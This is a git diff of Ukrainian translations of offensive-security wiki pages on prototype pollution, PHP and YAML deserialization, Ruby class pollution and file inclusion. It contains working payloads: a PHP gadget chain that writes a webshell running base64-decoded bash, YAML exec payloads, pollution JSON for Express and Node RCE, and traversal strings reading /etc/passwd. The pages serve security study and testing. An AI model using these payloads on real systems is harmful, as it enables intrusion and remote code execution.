### Функції та класи в JavaScript ### Функції та класи в JavaScript
@ -47,7 +47,7 @@ JavaScript дозволяє модифікацію, додавання або в
## Дослідження забруднення прототипу в JavaScript ## Дослідження забруднення прототипу в JavaScript
Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу Object може вплинути на всі об'єкти в середовищі. Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу об'єкта може вплинути на всі об'єкти в середовищі.
Давайте використаємо інший приклад для ілюстрації: Давайте використаємо інший приклад для ілюстрації:
```javascript ```javascript
@ -76,9 +76,9 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true console.log(car1.isVehicle) // Outputs true
``` ```
## prototype pollution ## забруднення прототипу
У сценарії, де використання `__proto__` обмежене, модифікація прототипу функції є альтернативою: У сценарії, де використання `__proto__` обмежено, модифікація прототипу функції є альтернативою:
```javascript ```javascript
function Vehicle(model) { function Vehicle(model) {
this.model = model this.model = model
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
``` ```
### Забруднення елементів масиву ### Забруднення елементів масиву
Зверніть увагу, що оскільки ви можете забруднювати атрибути об'єктів у JS, якщо у вас є доступ до забруднення масиву, ви також можете **забруднювати значення масиву**, доступні **за індексами** (зверніть увагу, що ви не можете перезаписувати значення, тому вам потрібно забруднювати індекси, які якимось чином використовуються, але не записуються). Зверніть увагу, що оскільки ви можете забруднювати атрибути об'єктів у JS, якщо у вас є доступ до забруднення масиву, ви також можете **забруднювати значення масиву**, доступні **за індексами** (зверніть увагу, що ви не можете перезаписувати значення, тому вам потрібно забруднити індекси, які якимось чином використовуються, але не записуються).
```javascript ```javascript
c = [1, 2] c = [1, 2]
a = [] a = []
@ -156,7 +156,7 @@ c[1] // 2 -- not
``` ```
### Забруднення HTML елементів ### Забруднення HTML елементів
Коли генерується HTML елемент за допомогою JS, можливо **перезаписати** атрибут **`innerHTML`**, щоб він записував **произвольний HTML код.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). Коли генерується HTML елемент за допомогою JS, можливо **перезаписати** атрибут **`innerHTML`**, щоб він міг записувати **произвольний HTML код.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
```javascript ```javascript
// Create element // Create element
devSettings["root"] = document.createElement('main') devSettings["root"] = document.createElement('main')
@ -241,7 +241,7 @@ NodeJS широко використовує Абстрактні Синтакс
#### Аналіз вразливості Handlebars #### Аналіз вразливості Handlebars
Шаблонний двигун Handlebars вразливий до атаки забруднення прототипу. Ця вразливість виникає через специфічні функції в файлі `javascript-compiler.js`. Функція `appendContent`, наприклад, конкатенує `pendingContent`, якщо він присутній, тоді як функція `pushSource` скидає `pendingContent` на `undefined` після додавання джерела. Шаблонний двигун Handlebars вразливий до атаки на забруднення прототипу. Ця вразливість виникає з конкретних функцій у файлі `javascript-compiler.js`. Функція `appendContent`, наприклад, конкатенує `pendingContent`, якщо він присутній, тоді як функція `pushSource` скидає `pendingContent` на `undefined` після додавання джерела.
**Процес експлуатації** **Процес експлуатації**
@ -341,12 +341,12 @@ requests.get(TARGET_URL)
3. **Безпечні функції злиття**: Слід уникати небезпечного використання рекурсивних функцій злиття. 3. **Безпечні функції злиття**: Слід уникати небезпечного використання рекурсивних функцій злиття.
4. **Об'єкти без прототипу**: Об'єкти без властивостей прототипу можна створити за допомогою `Object.create(null)`. 4. **Об'єкти без прототипу**: Об'єкти без властивостей прототипу можна створити за допомогою `Object.create(null)`.
5. **Використання Map**: Замість `Object` слід використовувати `Map` для зберігання пар ключ-значення. 5. **Використання Map**: Замість `Object` слід використовувати `Map` для зберігання пар ключ-значення.
6. **Оновлення бібліотек**: Безпекові патчі можна впроваджувати шляхом регулярного оновлення бібліотек. 6. **Оновлення бібліотек**: Слід регулярно оновлювати бібліотеки, щоб включати патчі безпеки.
7. **Інструменти для статичного аналізу та лінтингу**: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям, пов'язаним із забрудненням прототипу. 7. **Інструменти для лінтингу та статичного аналізу**: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям, пов'язаним із забрудненням прототипу.
8. **Огляди коду**: Реалізуйте ретельні огляди коду для виявлення та усунення потенційних ризиків, пов'язаних із забрудненням прототипу. 8. **Огляди коду**: Реалізуйте ретельні огляди коду, щоб виявити та усунути потенційні ризики, пов'язані із забрудненням прототипу.
9. **Навчання з безпеки**: Освіжайте розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду. 9. **Навчання з безпеки**: Освіжайте розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду.
10. **Обережне використання бібліотек**: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпекову позицію та перегляньте їх код, особливо ті, що маніпулюють об'єктами. 10. **Обережне використання бібліотек**: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпеку та перегляньте їх код, особливо ті, що маніпулюють об'єктами.
11. **Захист під час виконання**: Використовуйте механізми захисту під час виконання, такі як безпеково орієнтовані npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу. 11. **Захист під час виконання**: Використовуйте механізми захисту під час виконання, такі як безпекові npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу.
## Посилання ## Посилання

View File

@ -6,7 +6,7 @@
Інструменти [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **та** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) можна використовувати для **виявлення вразливостей прототипного забруднення**. Інструменти [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **та** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) можна використовувати для **виявлення вразливостей прототипного забруднення**.
Крім того, ви також можете використовувати **розширення браузера** [**PPScan**](https://github.com/msrkp/PPScan) для **автоматичного** **сканування** **сторінок**, які ви **відвідуєте**, на наявність вразливостей прототипного забруднення. Крім того, ви також можете використовувати **розширення браузера** [**PPScan**](https://github.com/msrkp/PPScan) для **автоматичного** **сканування** **сторінок**, до яких ви **доступаєте**, на наявність вразливостей прототипного забруднення.
### Налагодження, де використовується властивість <a href="#id-5530" id="id-5530"></a> ### Налагодження, де використовується властивість <a href="#id-5530" id="id-5530"></a>
```javascript ```javascript
@ -25,8 +25,8 @@ return "test"
Для більших і складніших кодових баз простий метод виявлення вразливого коду включає наступні кроки: Для більших і складніших кодових баз простий метод виявлення вразливого коду включає наступні кроки:
1. Використовуйте інструмент для виявлення вразливості та отримайте корисне навантаження, призначене для встановлення властивості в конструкторі. Приклад, наданий ppmap, може виглядати так: `constructor[prototype][ppmap]=reserved`. 1. Використовуйте інструмент для виявлення вразливості та отримайте payload, призначений для встановлення властивості в конструкторі. Приклад, наданий ppmap, може виглядати так: `constructor[prototype][ppmap]=reserved`.
2. Встановіть точку зупинки на першому рядку JavaScript-коду, який буде виконуватись на сторінці. Оновіть сторінку з корисним навантаженням, призупинивши виконання на цій точці зупинки. 2. Встановіть точку зупинки на першому рядку JavaScript-коду, який буде виконуватись на сторінці. Оновіть сторінку з payload, призупинивши виконання на цій точці зупинки.
3. Поки виконання JavaScript призупинено, виконайте наступний скрипт у консолі JS. Цей скрипт сигналізуватиме, коли властивість 'ppmap' буде створена, що допоможе в її виявленні: 3. Поки виконання JavaScript призупинено, виконайте наступний скрипт у консолі JS. Цей скрипт сигналізуватиме, коли властивість 'ppmap' буде створена, що допоможе в її виявленні:
```javascript ```javascript
function debugAccess(obj, prop, debugGet = true) { function debugAccess(obj, prop, debugGet = true) {
@ -46,9 +46,15 @@ origValue = val
debugAccess(Object.prototype, "ppmap") debugAccess(Object.prototype, "ppmap")
``` ```
4. Перейдіть назад на вкладку **Sources** і виберіть “Resume script execution”. JavaScript продовжить виконання, і властивість 'ppmap' буде забруднена, як і очікувалося. Використання наданого фрагмента коду полегшує визначення точного місця, де властивість 'ppmap' забруднена. Переглядаючи **Call Stack**, можна спостерігати різні стеки, де сталося забруднення. 4. Перейдіть назад на вкладку **Sources** і виберіть “Resume script execution”. JavaScript продовжить виконання, і властивість 'ppmap' буде забруднена, як і очікувалося. Використання наданого фрагмента полегшує визначення точного місця, де властивість 'ppmap' забруднена. Переглядаючи **Call Stack**, можна спостерігати різні стеки, де відбулося забруднення.
При виборі, який стек досліджувати, часто корисно націлюватися на стеки, пов'язані з файлами бібліотек JavaScript, оскільки забруднення прототипів часто відбувається в цих бібліотеках. Визначте відповідний стек, перевіривши його прив'язку до файлів бібліотек (видно праворуч, подібно до зображення, наданого для орієнтира). У випадках з кількома стеками, такими як ті, що на рядках 4 і 6 При виборі, який стек досліджувати, часто корисно націлюватися на стеки, пов'язані з файлами бібліотек JavaScript, оскільки забруднення прототипів часто відбувається в цих бібліотеках. Визначте відповідний стек, перевіривши його прив'язку до файлів бібліотек (видно з правого боку, подібно до зображення, наданого для орієнтира). У випадках з кількома стеками, такими як ті, що на рядках 4 і 6, логічним вибором є стек на рядку 4, оскільки він представляє початкове забруднення і, отже, корінь вразливості. Клікнувши на стек, ви перейдете до вразливого коду.
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## Знаходження скриптових гаджетів
Гаджет — це **код, який буде зловживатися після виявлення вразливості PP**.
```html ```html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ --> <!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script> <script>

View File

@ -16,7 +16,7 @@ _.merge({}, req.body)
res.send(req.body) res.send(req.body)
}) })
``` ```
У цих випадках XSS зазвичай неможливий з типом вмісту JSON. Однак, з забрудненням прототипу ми можемо **заплутати Express, щоб він повертав HTML-відповідь.** Ця вразливість залежить від використання додатком **`res.send(obj)`** та використання парсера тіла з типом вмісту application/json. У цих випадках XSS зазвичай не можливий з типом вмісту JSON. Однак, з забрудненням прототипу ми можемо **заплутати Express, щоб він повертав HTML-відповідь.** Ця вразливість залежить від використання додатком **`res.send(obj)`** та використання парсера тіла з типом вмісту application/json.
```json ```json
{ "__proto__": { "_body": true, "body": "<script>evil()" } } { "__proto__": { "_body": true, "body": "<script>evil()" } }
``` ```
@ -32,7 +32,7 @@ res.send(req.body)
### JSON пробіли ### JSON пробіли
Наступний PP додасть атрибутам всередині JSON додатковий пробіл, що не зламає функціональність: Наступний PP додасть атрибутам всередині JSON додатковий пробіл, що не порушить функціональність:
```json ```json
{ "__proto__": { "json spaces": " " } } { "__proto__": { "json spaces": " " } }
``` ```
@ -40,7 +40,7 @@ res.send(req.body)
```json ```json
{"foo": "bar"} -- Note the extra space {"foo": "bar"} -- Note the extra space
``` ```
### Відкриті заголовки ### Exposed Headers
Наступний PP гаджет змусить сервер надіслати HTTP заголовок: **`Access-Control-Expose_headers: foo`** Наступний PP гаджет змусить сервер надіслати HTTP заголовок: **`Access-Control-Expose_headers: foo`**
```json ```json
@ -67,7 +67,7 @@ res.send(req.body)
``` ```
### Помилка ### Помилка
Коли ви призначаєте прототипу примітив, наприклад, рядок, це призводить до **операції без дії, оскільки прототип повинен бути об'єктом**. Якщо ви спробуєте призначити об'єкт прототипу самому `Object.prototype`, це **викине виключення**. Ми можемо використовувати ці дві поведінки, щоб **виявити, чи була успішною забрудненість прототипу**: Коли ви призначаєте прототипу примітив, наприклад, рядок, це призводить до **операції без дії, оскільки прототип повинен бути об'єктом**. Якщо ви намагаєтеся призначити об'єкт прототипу самому `Object.prototype`, це **викине виключення**. Ми можемо використовувати ці дві поведінки, щоб **виявити, чи була успішною забрудненість прототипу**:
```javascript ```javascript
;({}).__proto__.__proto__ = {}( ;({}).__proto__.__proto__ = {}(
//throws type exception //throws type exception
@ -80,7 +80,7 @@ res.send(req.body)
```json ```json
{ "unusualName": "value", "__proto__": "test" } { "unusualName": "value", "__proto__": "test" }
``` ```
Більше того, у сценаріях, де використовується бібліотека, така як Lodash, встановлення властивості як через забруднення прототипу (PP), так і безпосередньо в об'єкті пропонує ще один діагностичний підхід. Якщо така властивість відсутня у відповіді, це вказує на те, що Lodash перевіряє наявність властивості в цільовому об'єкті перед злиттям: Більше того, у сценаріях, де використовується бібліотека Lodash, встановлення властивості як через забруднення прототипу (PP), так і безпосередньо в об'єкті пропонує ще один діагностичний підхід. Якщо така властивість відсутня у відповіді, це вказує на те, що Lodash перевіряє наявність властивості в цільовому об'єкті перед злиттям:
```javascript ```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"} {"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash // If 'b' is the only property reflected, this indicates prototype pollution in Lodash
@ -89,8 +89,8 @@ res.send(req.body)
### Дозволити крапки ### Дозволити крапки
В Express є опція, яка дозволяє вам **створювати об'єкти з параметрів рядка запиту**.\ Є опція в Express, яка дозволяє вам **створювати об'єкти з параметрів рядка запиту**.\
Ви безумовно можете використовувати це в ланцюгу **помилок** для експлуатації **вразливості забруднення прототипу**. Ви безумовно можете використовувати це в **ланцюгу** для експлуатації **вразливості забруднення прототипу**.
```json ```json
{ "__proto__": { "allowDots": true } } { "__proto__": { "allowDots": true } }
``` ```

View File

@ -1,10 +1,10 @@
# Prototype Pollution to RCE # Пошкодження прототипу до RCE
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Уразливий код ## Уразливий код
Уявіть собі реальний JS, який використовує код, подібний до наступного: Уявіть реальний JS, який використовує код, подібний до наступного:
```javascript ```javascript
const { execSync, fork } = require("child_process") const { execSync, fork } = require("child_process")
@ -151,7 +151,7 @@ var proc = fork("a_file.js")
``` ```
## DNS Interaction ## DNS Interaction
Використовуючи наступні payloads, можливо зловживати змінною середовища NODE_OPTIONS, про яку ми говорили раніше, і виявити, чи спрацювало це, за допомогою взаємодії з DNS: Використовуючи наступні пейлоади, можливо зловживати змінною середовища NODE_OPTIONS, про яку ми говорили раніше, і виявити, чи спрацювало це, за допомогою взаємодії з DNS:
```json ```json
{ {
"__proto__": { "__proto__": {
@ -227,8 +227,8 @@ var proc = execFile("/usr/bin/node")
// Windows - not working // Windows - not working
``` ```
Для **`execFile`** щоб працювати, він **ПОВИНЕН виконувати node** для того, щоб NODE_OPTIONS працювали.\ Для **`execFile`** щоб працювати, він **ПОВИНЕН виконувати node** для роботи NODE_OPTIONS.\
Якщо він **не** виконує **node**, вам потрібно знайти, як ви могли б **змінити виконання** того, що він виконує **змінними середовища** і встановити їх. Якщо він **не** виконує **node**, вам потрібно знайти, як ви могли б **змінити виконання** того, що він виконує **з допомогою змінних середовища** і встановити їх.
**Інші** техніки **працюють** без цієї вимоги, оскільки **можливо змінити** **те, що виконується** через забруднення прототипу. (У цьому випадку, навіть якщо ви можете забруднити `.shell`, ви не забрудните те, що виконується). **Інші** техніки **працюють** без цієї вимоги, оскільки **можливо змінити** **те, що виконується** через забруднення прототипу. (У цьому випадку, навіть якщо ви можете забруднити `.shell`, ви не забрудните те, що виконується).
@ -502,18 +502,18 @@ done
> [!WARNING] > [!WARNING]
> **Попередня техніка вимагає**, щоб **користувач контролював шлях до файлу**, який буде **вимагатися**. Але це не завжди так. > **Попередня техніка вимагає**, щоб **користувач контролював шлях до файлу**, який буде **вимагатися**. Але це не завжди так.
Однак, якщо код буде виконувати вимогу після забруднення прототипу, навіть якщо ви **не контролюєте шлях**, який буде вимагатися, ви **можете примусити інший, зловживаючи забрудненням прототипу**. Тож навіть якщо рядок коду виглядає як `require("./a_file.js")` або `require("bytes")`, він **вимагатиме пакет, який ви забруднили**. Однак, якщо код буде виконувати require після забруднення прототипу, навіть якщо ви **не контролюєте шлях**, який буде вимагатися, ви **можете примусити до іншого, зловживаючи забрудненням прототипу**. Тож навіть якщо рядок коду виглядає як `require("./a_file.js")` або `require("bytes")`, він **вимагатиме пакет, який ви забруднили**.
Отже, якщо вимога виконується після вашого забруднення прототипу і немає функції spawn, це атака: Отже, якщо require виконується після вашого забруднення прототипу і немає функції spawn, це атака:
- Знайдіть **`.js` файл всередині системи**, який при **вимозі** буде **виконувати щось за допомогою `child_process`** - Знайдіть **`.js` файл всередині системи**, який при **вимозі** буде **виконувати щось за допомогою `child_process`**
- Якщо ви можете завантажувати файли на платформу, яку ви атакуєте, ви можете завантажити файл такого типу - Якщо ви можете завантажувати файли на платформу, яку ви атакуєте, ви можете завантажити файл такого типу
- Забрудніть шляхи, щоб **примусити вимогу завантажити `.js` файл**, який виконає щось з child_process - Забрудніть шляхи, щоб **примусити вимогу завантажити `.js` файл**, який виконає щось з child_process
- **Забрудніть середовище/cmdline**, щоб виконати довільний код, коли викликається функція виконання child_process (див. початкові техніки) - **Забрудніть середовище/cmdline**, щоб виконати довільний код, коли викликається функція виконання child_process (див. початкові техніки)
#### Абсолютна вимога #### Абсолютний require
Якщо виконана вимога є **абсолютною** (`require("bytes")`) і **пакет не містить main** у файлі `package.json`, ви можете **забруднити атрибут `main`** і змусити **вимогу виконати інший файл**. Якщо виконуваний require є **абсолютним** (`require("bytes")`) і **пакет не містить main** у файлі `package.json`, ви можете **забруднити атрибут `main`** і змусити **require виконати інший файл**.
{{#tabs}} {{#tabs}}
{{#tab name="exploit"}} {{#tab name="exploit"}}
@ -665,7 +665,7 @@ require("./usage.js")
## Fixes & Unexpected protections ## Fixes & Unexpected protections
Зверніть увагу, що забруднення прототипу працює, якщо **атрибут** об'єкта, до якого звертаються, є **undefined**. Якщо в **коді** цей **атрибут** **встановлений** на **значення**, ви **не зможете його перезаписати**. Зверніть увагу, що забруднення прототипу працює, якщо **атрибут** об'єкта, до якого звертаються, є **undefined**. Якщо в **коді** цей **атрибут** **отримує** **значення**, ви **не зможете його перезаписати**.
У червні 2022 року з [**цього коміту**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) змінна `options` замість `{}` є **`kEmptyObject`**. Це **запобігає забрудненню прототипу** від впливу на **атрибути** **`options`** для отримання RCE.\ У червні 2022 року з [**цього коміту**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) змінна `options` замість `{}` є **`kEmptyObject`**. Це **запобігає забрудненню прототипу** від впливу на **атрибути** **`options`** для отримання RCE.\
Принаймні з версії v18.4.0 ця захист була **реалізована**, і тому **експлойти** `spawn` та `spawnSync`, що впливають на методи, **більше не працюють** (якщо не використовуються `options`!). Принаймні з версії v18.4.0 ця захист була **реалізована**, і тому **експлойти** `spawn` та `spawnSync`, що впливають на методи, **більше не працюють** (якщо не використовуються `options`!).

View File

@ -41,10 +41,10 @@ require __DIR__ . $filename;
У моєму випадку нічого подібного не було, але всередині **того ж контейнера** була інша веб-сторінка composer з **бібліотекою, вразливою до гаджета `phpggc`**. У моєму випадку нічого подібного не було, але всередині **того ж контейнера** була інша веб-сторінка composer з **бібліотекою, вразливою до гаджета `phpggc`**.
- Щоб завантажити цю іншу бібліотеку, спочатку потрібно **завантажити завантажувач composer тієї іншої веб-аплікації** (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). **Знаючи шлях до аплікації**, ви можете досягти цього дуже легко за допомогою: **`O:28:"www_frontend_vendor_autoload":0:{}`** (У моєму випадку завантажувач composer був у `/www/frontend/vendor/autoload.php`) - Щоб завантажити цю іншу бібліотеку, спочатку потрібно **завантажити завантажувач composer тієї іншої веб-аплікації** (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). **Знаючи шлях до аплікації**, ви можете досягти цього дуже легко за допомогою: **`O:28:"www_frontend_vendor_autoload":0:{}`** (У моєму випадку завантажувач composer був у `/www/frontend/vendor/autoload.php`)
- Тепер ви можете **завантажити** інший **завантажувач composer аплікації**, тому настав час **`згенерувати phpgcc`** **payload** для використання. У моєму випадку я використовував **`Guzzle/FW1`**, що дозволило мені **записувати будь-який файл у файловій системі**. - Тепер ви можете **завантажити** інший **завантажувач composer аплікації**, тож настав час **`згенерувати phpgcc`** **payload** для використання. У моєму випадку я використав **`Guzzle/FW1`**, що дозволило мені **записувати будь-який файл у файловій системі**.
- ПРИМІТКА: **Згенерований гаджет не працював**, щоб він працював, я **модифікував** цей payload **`chain.php`** phpggc і встановив **всі атрибути** класів **з приватних на публічні**. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень. - ПРИМІТКА: **Згенерований гаджет не працював**, щоб він працював, я **модифікував** цей payload **`chain.php`** phpggc і встановив **всі атрибути** класів **з приватних на публічні**. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень.
- Тепер у нас є спосіб **завантажити інший завантажувач composer аплікації** і мати **phpggc payload, який працює**, але нам потрібно **зробити це в ТОМУ Ж ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується**. Для цього я надіслав серіалізований масив з обома об'єктами, як: - Тепер у нас є спосіб **завантажити інший завантажувач composer аплікації** і мати **phpggc payload, що працює**, але нам потрібно **зробити це в ТОМУ Ж ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується**. Для цього я надіслав серіалізований масив з обома об'єктами, як:
- Ви можете побачити **спочатку завантажувач, що завантажується, а потім payload**. - Ви можете побачити **спочатку завантажувач, що завантажується, а потім payload**
```php ```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
``` ```

View File

@ -26,7 +26,7 @@ print(yaml.dump(range(1,10)))
![](<../../images/image (1040).png>) ![](<../../images/image (1040).png>)
**safe_load()** або **safe_load_all()** використовує SafeLoader і **не підтримує десеріалізацію об'єктів класу**. Приклад десеріалізації об'єкта класу: **safe_load()** або **safe_load_all()** використовує SafeLoader і **не підтримує десеріалізацію об'єктів класу**. Приклад десеріалізації об'єктів класу:
```python ```python
import yaml import yaml
from yaml import UnsafeLoader, FullLoader, Loader from yaml import UnsafeLoader, FullLoader, Loader
@ -77,7 +77,7 @@ state: !!python/tuple
state: state:
update: !!python/name:exec update: !!python/name:exec
``` ```
Або ви також можете використати цей **однорядник, наданий @ishaack**: Або ви також можете використати цей **однорядковий код, наданий @ishaack**:
```yaml ```yaml
!!python/object/new:str { !!python/object/new:str {
state: state:

View File

@ -4,9 +4,9 @@
Це резюме з посту [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html) Це резюме з посту [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
## Основна інформація ## Basic information
Коли в тілі надсилаються деякі значення, які не можуть бути хешовані, такі як масив, вони будуть додані в новий ключ під назвою `_json`. Однак, зловмисник також може встановити в тілі значення під назвою `_json` з довільними значеннями, які він бажає. Тоді, якщо бекенд, наприклад, перевіряє достовірність параметра, але потім також використовує параметр `_json` для виконання якоїсь дії, може бути здійснено обхід авторизації. Коли в тілі запиту надсилаються деякі значення, які не можуть бути хешовані, такі як масив, вони будуть додані в новий ключ під назвою `_json`. Однак, зловмисник також може встановити в тілі значення під назвою `_json` з довільними значеннями, які він бажає. Тоді, якщо бекенд, наприклад, перевіряє достовірність параметра, але потім також використовує параметр `_json` для виконання якоїсь дії, може бути здійснено обхід авторизації.
```json ```json
{ {
"id": 123, "id": 123,

View File

@ -145,7 +145,7 @@ JSONMergerApp.run(json_input)
1. **Ескалація Привілеїв**: Метод `authorize` перевіряє, чи повертає `to_s` "Admin." Впроваджуючи новий атрибут `to_s` через JSON, зловмисник може змусити метод `to_s` повертати "Admin," надаючи несанкціоновані привілеї. 1. **Ескалація Привілеїв**: Метод `authorize` перевіряє, чи повертає `to_s` "Admin." Впроваджуючи новий атрибут `to_s` через JSON, зловмисник може змусити метод `to_s` повертати "Admin," надаючи несанкціоновані привілеї.
2. **Віддалене Виконання Коду**: У `health_check`, `instance_eval` виконує методи, зазначені в `protected_methods`. Якщо зловмисник впроваджує власні імена методів (наприклад, `"puts 1"`), `instance_eval` виконає його, що призведе до **віддаленого виконання коду (RCE)**. 2. **Віддалене Виконання Коду**: У `health_check`, `instance_eval` виконує методи, зазначені в `protected_methods`. Якщо зловмисник впроваджує власні імена методів (наприклад, `"puts 1"`), `instance_eval` виконає його, що призведе до **віддаленого виконання коду (RCE)**.
1. Це можливо лише тому, що існує **вразлива інструкція `eval`,** яка виконує рядкове значення цього атрибута. 1. Це можливо лише тому, що існує **вразлива інструкція `eval`**, яка виконує рядкове значення цього атрибута.
3. **Обмеження Впливу**: Ця вразливість впливає лише на окремі екземпляри, залишаючи інші екземпляри `User` та `Admin` неушкодженими, таким чином обмежуючи обсяг експлуатації. 3. **Обмеження Впливу**: Ця вразливість впливає лише на окремі екземпляри, залишаючи інші екземпляри `User` та `Admin` неушкодженими, таким чином обмежуючи обсяг експлуатації.
### Реальні Випадки <a href="#real-world-cases" id="real-world-cases"></a> ### Реальні Випадки <a href="#real-world-cases" id="real-world-cases"></a>
@ -392,7 +392,7 @@ curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"ur
``` ```
Можливо змінити значення атрибута **`@@url`** батьківського класу **`Person`**. Можливо змінити значення атрибута **`@@url`** батьківського класу **`Person`**.
### **Отруєння інших класів** ### **Отруєння Інших Класів**
З цим payload: З цим payload:
```bash ```bash

View File

@ -4,7 +4,7 @@
## Включення файлів ## Включення файлів
**Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\ **Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\
**Локальне включення файлів (LFI):** Сервер завантажує локальний файл. **Локальне включення файлів (LFI):** Сервер завантажує локальний файл.
Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером. Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером.
@ -43,7 +43,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
Перевірте список LFI для linux. Перевірте список LFI для linux.
## Основний LFI та обхід ## Основний LFI та обходи
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>). Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
``` ```
@ -65,7 +65,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **Кодування** ### **Кодування**
Ви можете використовувати нестандартні кодування, такі як подвійне кодування URL (та інші): Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
``` ```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -95,7 +95,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена. - **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI). 4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте: Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
@ -106,7 +106,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
